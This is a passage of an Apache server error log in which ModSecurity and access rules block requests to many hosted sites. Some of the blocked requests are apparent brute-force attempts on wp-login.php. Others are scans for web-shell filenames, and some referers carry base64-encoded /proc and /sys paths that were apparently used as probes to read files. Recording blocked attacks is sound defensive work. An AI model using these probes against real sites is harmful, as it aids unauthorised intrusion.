18:08:07.309607 2026] [security2:error] [pid 531797:tid 531955] [remote 162.254.36.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-login.php"] [unique_id "ai3w58TA7b1mZrmcA-8OjgAChFs"], referer: https://levantsoleil.com/wp-login.php [Sat Jun 13 18:08:07.336571 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOQ== [Sat Jun 13 18:08:07.337021 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOQ== [Sat Jun 13 18:08:07.429045 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.113:64428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:07.429486 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.113:64428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:07.467530 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:08:07.467979 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:08:07.520576 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:08:07.520871 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:08:07.633122 2026] [security2:error] [pid 531797:tid 531928] [remote 67.20.76.56:51906] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "traderootsltd.com"] [uri "/wp-login.php"] [unique_id "ai3w58TA7b1mZrmcA-8OnwACfUA"] [Sat Jun 13 18:08:07.692201 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.20:42210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:07.692489 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.20:42210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:07.736926 2026] [security2:error] [pid 531797:tid 532073] [client 20.151.217.54:65216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/rum.php"] [unique_id "ai3w58TA7b1mZrmcA-8OqQAAAl8"] [Sat Jun 13 18:08:07.789195 2026] [security2:error] [pid 531797:tid 531915] [remote 17.246.23.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w58TA7b1mZrmcA-8OrAACGTM"] [Sat Jun 13 18:08:07.871811 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6NQ== [Sat Jun 13 18:08:07.872235 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6NQ== [Sat Jun 13 18:08:07.921072 2026] [security2:error] [pid 531155:tid 531304] [client 172.171.3.232:45294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/sm.php"] [unique_id "ai3w5ymiP80klyS0Nnro5AAAAR0"] [Sat Jun 13 18:08:08.016902 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:08:08.017165 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:08:08.059493 2026] [security2:error] [pid 531797:tid 532078] [client 191.234.188.123:63868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ta0ol.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OsQAAAmQ"] [Sat Jun 13 18:08:08.072607 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82NQ== [Sat Jun 13 18:08:08.072884 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82NQ== [Sat Jun 13 18:08:08.139442 2026] [security2:error] [pid 531797:tid 531866] [remote 209.87.149.26:58249] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OtQACcQI"] [Sat Jun 13 18:08:08.158358 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.73:50268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:08.158621 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.73:50268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:08.158964 2026] [security2:error] [pid 531155:tid 531293] [client 2a06:98c0:3600::103:0] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "webdisk.caboit.com"] [uri "/"] [unique_id "ai3w6CmiP80klyS0Nnro6gAAARI"] [Sat Jun 13 18:08:08.231820 2026] [security2:error] [pid 531797:tid 532107] [client 191.233.234.186:41489] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.kawasakiz1.com"] [uri "/x.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OuQAAAoA"] [Sat Jun 13 18:08:08.334016 2026] [security2:error] [pid 531797:tid 532010] [client 191.233.234.186:44679] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/auto.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OvAAAAiI"] [Sat Jun 13 18:08:08.379724 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zOA== [Sat Jun 13 18:08:08.379997 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zOA== [Sat Jun 13 18:08:08.490114 2026] [security2:error] [pid 531797:tid 531907] [remote 209.87.149.26:58249] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OwQACTys"], referer: https://lotusfengshui.co.uk/wp-login.php [Sat Jun 13 18:08:08.524233 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:08:08.524693 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:08:08.587630 2026] [security2:error] [pid 531797:tid 532111] [client 191.233.234.186:44276] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/wolf.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OxAAAAoQ"] [Sat Jun 13 18:08:08.622753 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:08.623017 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:08.627565 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.52:26694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:08.628017 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.52:26694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:08.678759 2026] [security2:error] [pid 531797:tid 531924] [remote 17.241.219.56:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w6MTA7b1mZrmcA-8OxwACYjw"] [Sat Jun 13 18:08:08.920874 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.91:61486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:08.921160 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.91:61486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:08.942763 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6NQ== [Sat Jun 13 18:08:08.943027 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6NQ== [Sat Jun 13 18:08:09.008278 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.7:47803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:09.008757 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.7:47803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:09.064119 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:09.064556 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:09.086962 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.69:23952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:09.087359 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.69:23952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:09.148192 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:08:09.148672 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:08:09.203091 2026] [security2:error] [pid 531797:tid 532094] [client 191.233.234.186:44230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/rum.php"] [unique_id "ai3w6cTA7b1mZrmcA-8O2gAAAnM"] [Sat Jun 13 18:08:09.387661 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNA== [Sat Jun 13 18:08:09.387940 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNA== [Sat Jun 13 18:08:09.438835 2026] [security2:error] [pid 531797:tid 531971] [remote 17.22.237.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w6cTA7b1mZrmcA-8O4QACk2o"] [Sat Jun 13 18:08:09.501804 2026] [security2:error] [pid 531797:tid 532127] [client 20.9.67.71:64661] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/auto.php"] [unique_id "ai3w6cTA7b1mZrmcA-8O5gAAApI"] [Sat Jun 13 18:08:09.569762 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:08:09.570224 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:08:09.588260 2026] [security2:error] [pid 531155:tid 531213] [remote 17.241.75.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w6SmiP80klyS0NnrpDAABZDk"] [Sat Jun 13 18:08:09.679319 2026] [security2:error] [pid 531155:tid 531390] [client 191.233.234.186:53461] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/ops.php"] [unique_id "ai3w6SmiP80klyS0NnrpDwAAAXM"] [Sat Jun 13 18:08:09.689813 2026] [security2:error] [pid 531797:tid 532096] [client 191.234.188.123:47955] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at 